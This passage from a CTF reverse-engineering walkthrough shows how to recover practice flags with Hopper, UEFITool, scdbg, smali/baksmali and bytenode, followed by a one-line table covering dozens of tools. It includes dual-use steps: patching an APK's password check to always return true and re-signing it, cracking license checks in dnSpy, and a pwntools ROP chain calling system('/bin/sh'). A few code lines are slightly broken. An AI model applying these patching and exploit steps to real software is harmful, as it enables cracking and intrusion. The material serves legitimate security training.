Scenario: macOS CTF binary with ObjC flag check. Hopper decompiles it cleanly.


```
# Step 1: Open in Hopper
$ hopper -e macho_ctf
# OR drag-drop onto Hopper app

# Hopper auto-detects Mach-O and starts analysis
# Left panel: Proc (Procedures) -> search 'check'

# Step 2: Navigate to checkPassword method
# Hopper shows Objective-C method names automatically!
# Find: -[AppDelegate checkPassword:]

# Step 3: Switch to Decompiler tab (top right)
- (BOOL)checkPassword:(id)arg2 {
    NSString *expected = @"h0pp3r_d3c0mp1l3d';
    return [arg2 isEqualToString:expected];
}

# Step 4: Enter the password
# In app/binary: enter 'h0pp3r_d3c0mp1l3d'
# Shows: flag{h0pp3r_mac0s_r3v3rs3d}

# Alternative: use otool to find the string
$ otool -s __TEXT __cstring macho_ctf
Contents of (__TEXT,__cstring) section:
0x100002010:  h0pp3r_d3c0mp1l3d
0x100002024:  flag{h0pp3r_mac0s_r3v3rs3d}
```

>> FLAG CAPTURED: flag{h0pp3r_mac0s_r3v3rs3d}

UEFITool

HARD

File Type: EFI firmware image (.rom/.bin)

Scenario: Firmware image from CTF. Flag is inside a EFI module.

```
# Step 1: Open firmware in UEFITool GUI
$ UEFITool firmware.rom
# OR: File -> Open Image File

# Tree view shows UEFI structure:
UEFI image
  Intel ME Region
  BIOS Region
  Padding
  Volume: GUID=7A9354D9-...
    File: DXE Core
      File: 6D33944A-...  <- suspicious GUID!

# Step 2: Search for flag string
# Action -> Search -> String -> 'flag{'
# OR: Action -> Search -> Hex -> 666c6167
# UEFITool highlights the containing file

# Step 3: Extract the suspicious module
# Right-click File -> Extract Body -> save as module.efi

# Step 4: Analyze the .efi file
$ file module.efi
module.efi: PE32+ executable (EFI application) x86-64

$ strings module.efi | grep flag
flag{u3f1t00l_f1rmw4r3_3xtr4ct3d}

# Deeper analysis with Ghidra + efiXplorer plugin
```

>> FLAG CAPTURED: flag{u3f1t00l_f1rmw4r3_3xtr4ct3d}

scdbg

EASY

File Type: Raw shellcode binary (.bin file)

Scenario: CTF gives raw shellcode bytes. Emulate with scdbg to see behavior.

```
# Step 1: Identify raw shellcode
$ file shellcode.bin
shellcode.bin: data  <- no recognized format

$ xxd shellcode.bin | head -3
00000000: eb0e 5e83 c614 31c0 b012 ...  <- JMP + POP = GetPC technique

# Step 2: Emulate with scdbg
$ scdbg.exe /f shellcode.bin
Loaded 0x400 bytes from shellcode.bin
Initialization Complete, Starting Emulation...

4012a0  GetProcAddress(kernel32.dll, VirtualAlloc)
4012b7  VirtualAlloc(0, 0x1000, MEM_COMMIT, PAGE_EXECUTE_READWRITE)
4012c5  memcpy(0x401000, buf, 0x200)  <- decrypting stage 2
401300  GetProcAddress(kernel32.dll, WriteFile)
401320  WriteFile(handle, 'flag{scdbg_sh3llc0d3_3mul4t3d}', 34)

Emulation Complete
API Calls: 6

# Flag visible in WriteFile call output!

# Step 3: If more detail needed:
$ scdbg.exe /f shellcode.bin /s 500 /d
# /s 500 = 500 steps, /d = dump all API details

# On Linux: use Speakeasy instead
$ python3 -m speakeasy -t shellcode.bin -r -a x86
```

```
>> FLAG CAPTURED: flag{scdbg_sh3llc0d3_3mul4t3d}
```

smali / baksmali

MEDIUM

File Type: Android DEX bytecode (within APK)

Scenario: jadx works but can't patch. Use baksmali to disassemble and smali to patch.

```
# Step 1: Extract DEX from APK
$ unzip challenge.apk classes.dex

# Step 2: Disassemble DEX to Smali
$ java -jar baksmali.jar d classes.dex -o smali/
$ ls smali/com/challenge/app/
MainActivity.smali  FlagChecker.smali

# Step 3: Read FlagChecker.smali
$ cat smali/com/challenge/app/FlagChecker.smali
.class public Lcom/challenge/app/FlagChecker;
.super Ljava/lang/Object;

.method public static check(Ljava/lang/String;)Z
    .registers 4
    const-string v0, "sm4l1_s3cr3t_k3y"
    invoke-virtual {p0, v0}, Ljava/lang/String;->equals(Ljava/lang/Object;)Z
    move-result v1
    return v1
.end method

# Password found: sm4l1_s3cr3t_k3y

# Step 4: Alternatively, PATCH to always return true
# Edit FlagChecker.smali:
.method public static check(Ljava/lang/String;)Z
    .registers 2
    const/4 v0, 0x1    # return true always
    return v0
.end method

# Step 5: Reassemble to DEX
$ java -jar smali.jar a smali/ -o classes_patched.dex

# Step 6: Replace in APK and sign
$ cp challenge.apk challenge_patched.apk
$ zip challenge_patched.apk classes.dex # replace DEX
$ jarsigner -keystore debug.keystore ... challenge_patched.apk
$ adb install challenge_patched.apk
# Enter any input -> app shows flag{sm4l1_p4tch3d_apk}
```

>> FLAG CAPTURED: flag{sm4l1_p4tch3d_apk}

bytenode / Node.js introspection

HARD

File Type: Node.js .jsc V8 bytecode file

Scenario: Node app compiled to .jsc. Recover the JavaScript source or hook runtime.

```
# Step 1: Identify .jsc file
$ file challenge.jsc
challenge.jsc: data
$ xxd challenge.jsc | head -1
c4 7f 07 1f ... <- V8 bytecode magic (Node 18.x specific)

# Step 2: Check if launcher reveals structure
$ cat launcher.js
const bytenode = require('bytenode');
bytenode.runBytecodeFile('./challenge.jsc');

# Step 3: Method A - strings from .jsc
$ strings challenge.jsc | grep -E 'flag|check|secret|password'
checkPassword
Enter password:
byt3n0d3_s3cr3t <- possible password!
flag{byt3n0d3_r3v3rs3d}

# Step 4: Method B - Node.js V8 inspector hook
# Override the check function via require() monkey-patching:
$ node -e "
// Patch: override any 'equals' or comparison before loading .jsc
const original_eq = String.prototype === undefined;
// Intercept process.stdout.write to capture output:
const orig = process.stdout.write.bind(process.stdout);
process.stdout.write = function(data) {
    if (data.includes('flag')) console.error('[CAPTURED]', data);
    return orig(data);
};
require('./launcher.js'); // now run it
" <<< 'byt3n0d3_s3cr3t'
[CAPTURED] flag{byt3n0d3_r3v3rs3d}
```

```
>> FLAG CAPTURED: flag{byt3n0d3_r3v3rs3d}
```

QUICK WALKTHROUGH REFERENCE: ALL TOOLS AT A GLANCE

One-line summary for every tool's CTF workflow

TOOL	ONE-LINE CTF WORKFLOW	FLAG / RESULT
file	file ./x -> identify type -> pick next tool	Not flag - enables analysis
strings	strings -a ./x grep flag OR base64 -d	flag{...} or encoded
objdump	objdump -d -M intel ./x grep -A40 '<main>' -> read passwd	flag{objdump...}
readelf	readelf -x .rodata ./x -> decode hex dump	flag{readelf...}
checksec	checksec --file=./x -> plan exploit strategy	Guides exploit approach
nm	nm ./x grep -v 'U ' -> find global vars	flag from symbol value
ldd	ldd ./x -> find custom .so -> ltrace to catch calls	flag from lib comparison
exiftool	exiftool ./x -> read Comment/UserComment field	flag{hidden_metadata}
binwalk	binwalk -e fw.bin -> ls _extracted/ -> cat flag.txt	flag{firmware_flag}
pefile	pefile.PE('x.exe').sections + re.findall strings	flag in PE section data
Ghidra	Import -> Analyze -> F5 decompile -> find check -> solve XOR	flag{ghidra_decoded}
IDA Free	Open -> wait -> Ctrl+F functions -> F5 decompile	flag{ida_decompiled}
Binary Ninja	Open -> View -> Decompiler -> analyze flow	flag{binja_flow}
Radare2	r2 -A ./x -> afl -> s main -> pdf -> solve	flag{r2_found}
Cutter	Open -> Decompiler tab -> Graph tab -> rename -> solve	flag{cutter_graph}
GDB+pwndbg	b print_flag / search-pattern 'flag' / x/s \$rdi	flag{gdb_memory}
x64dbg	BP on strcmp -> F9 run -> RDX = expected password	flag{x64dbg_serial}
WinDbg	bp Module!Handler -> g -> dq rcx (output buffer)	flag{windbg_kernel}
lldb	b strcmp -> r -> register read rsi (expected string)	flag{lldb_macos}
strace	strace -e read,write,openat ./x 2>&1 grep flag	flag in read() output
ltrace	ltrace -s200 ./x <<< test -> strcmp reveals password	flag from strcmp arg
Frida	frida -l hook.js -f ./x -> hook strcmp/puts -> log args	flag{frida_hooked}
DynamoRIO	drun -t inscount0 ./x -> count instrs -> side-channel solve	flag{drcov_found}
Intel PIN	pin -t inscount0.so ./x -> letter-by-letter recovery	flag{pin_sidechannel}
QEMU	qemu-arm ./x OR qemu-arm -g 1234 ./x -> gdb-multiarch	flag{qemu_arm_run}
Unicorn	mu.emu_start() shellcode -> read RAX / memory for flag	flag{unicorn_emulated}
xxd	xxd ./x grep '666c6167' -> decode hex OR patch + xxd -r	flag{xxd_hex_found}
Python patch	data[0x115d]=0xeb; open('patched','wb').write(data)	flag{python_patched}
keystone	ks.asm('xor rax,rax; ret') -> bytes for shellcode/exploit	Used in exploit
capstone	Cs(CS_ARCH_X86,CS_MODE_64).disasm(bytes, addr) -> asm listing	Reveals algorithm
pwntools	ELF+ROP+remote -> leak->libc->system('/bin/sh') -> cat flag	flag{pwn_shell}
angr	simgr.explore(find=0x401abc, avoid=0x401def) -> posix.dumps(0)	flag{angr_solved}
z3	s.add(constraints); s.check()=sat; m=s.model() -> flag bytes	flag{z3_math}
Ghidra script	find_string('flag') -> get_xrefs -> rename -> auto-decode	flag{ghidra_auto}
IDAPython	trace_strcmp_calls() -> log args -> find password	flag{ida_python}
r2pipe	r2.cmd('aaa'); izzj() -> find flag string -> verify	flag{r2pipe_auto}
ROPgadget	ROPgadget --binary ./x grep 'pop rdi' -> build ROP chain	flag{rop_shell}
UPX	upx -d packed -o unpacked -> strings unpacked grep flag	flag{upx_unpacked}
DIE	diec binary.exe -> identify packer -> choose unpacker	Guides unpacking
de4dot	de4dot.exe obf.exe -> opens cleaned.exe in dnSpy	flag{de4dot_clean}
dnSpy	Open .exe -> find CheckLicense -> read expected string or patch	flag{dnspy_cracked}
jadx	jadx-gui app.apk -> find MainActivity -> read SECRET field	flag{jadx_android}
apktool	apktool d app.apk -> edit .smali -> change if-eqz to if-nez	flag{apktool_patch}
uncompyle6	uncompyle6 file.pyc -> read def check() -> extract password	flag{pyc_decompiled}
pyinstxtractor	pyinstxtractor.py app.exe -> decompile3 main.pyc -> read src	flag{pyinst_extracted}
Wireshark	Edit->Find->'flag{' OR File->Export Objects->HTTP	flag{wire_captured}
tshark	tshark -r cap.pcap -Y 'tcp' -T fields -e data xxd grep flag	flag in TCP payload

Scapy	rdpcap() -> haslayer(Raw) -> XOR decrypt -> print flag	flag{scapy_decoded}
netcat	nc host port -> interact with service -> send solved answer	flag{nc_connected}
GoReSym	GoReSym ./go_bin > syms.json -> load in Ghidra -> solve	flag{go_symbols}
rustfilt	nm rust_bin rustfilt grep check -> find password func	flag{rust_demangled}
wasm2wat	wasm2wat f.wasm -o f.wat + wasm-decompile -> read C-like code	flag{wasm_decoded}
unluac	java -jar unluac.jar f.luac -> read Lua source -> decode array	flag{luac_decompiled}
Il2CppDumper	dump GameAssembly.dll + metadata -> search dump.cs for flag	flag{il2cpp_dumped}
Hopper	Open Mach-0 -> Decompiler tab -> find checkPassword -> read	flag{hopper_macos}
UEFITool	Open .rom -> Search 'flag{' -> Extract body.efi -> strings	flag{uefi_extracted}
scdbg	scdbg.exe /f shellcode.bin -> see WriteFile/WriteConsole args	flag in API call log
Speakeasy	speakeasy -t sc.bin -r -a x64 -> see all API calls + strings	flag{speakeasy_emu}
smali/baksmali	baksmali d classes.dex -> read .smali -> find const-string	flag{smali_found}
DOSBox	MOUNT C /challenge; C:: challenge.com -> interact in DOS	flag{dos_retro}
bytenode	strings challenge.jsc grep flag OR Node inspector hook	flag{v8_bytecode}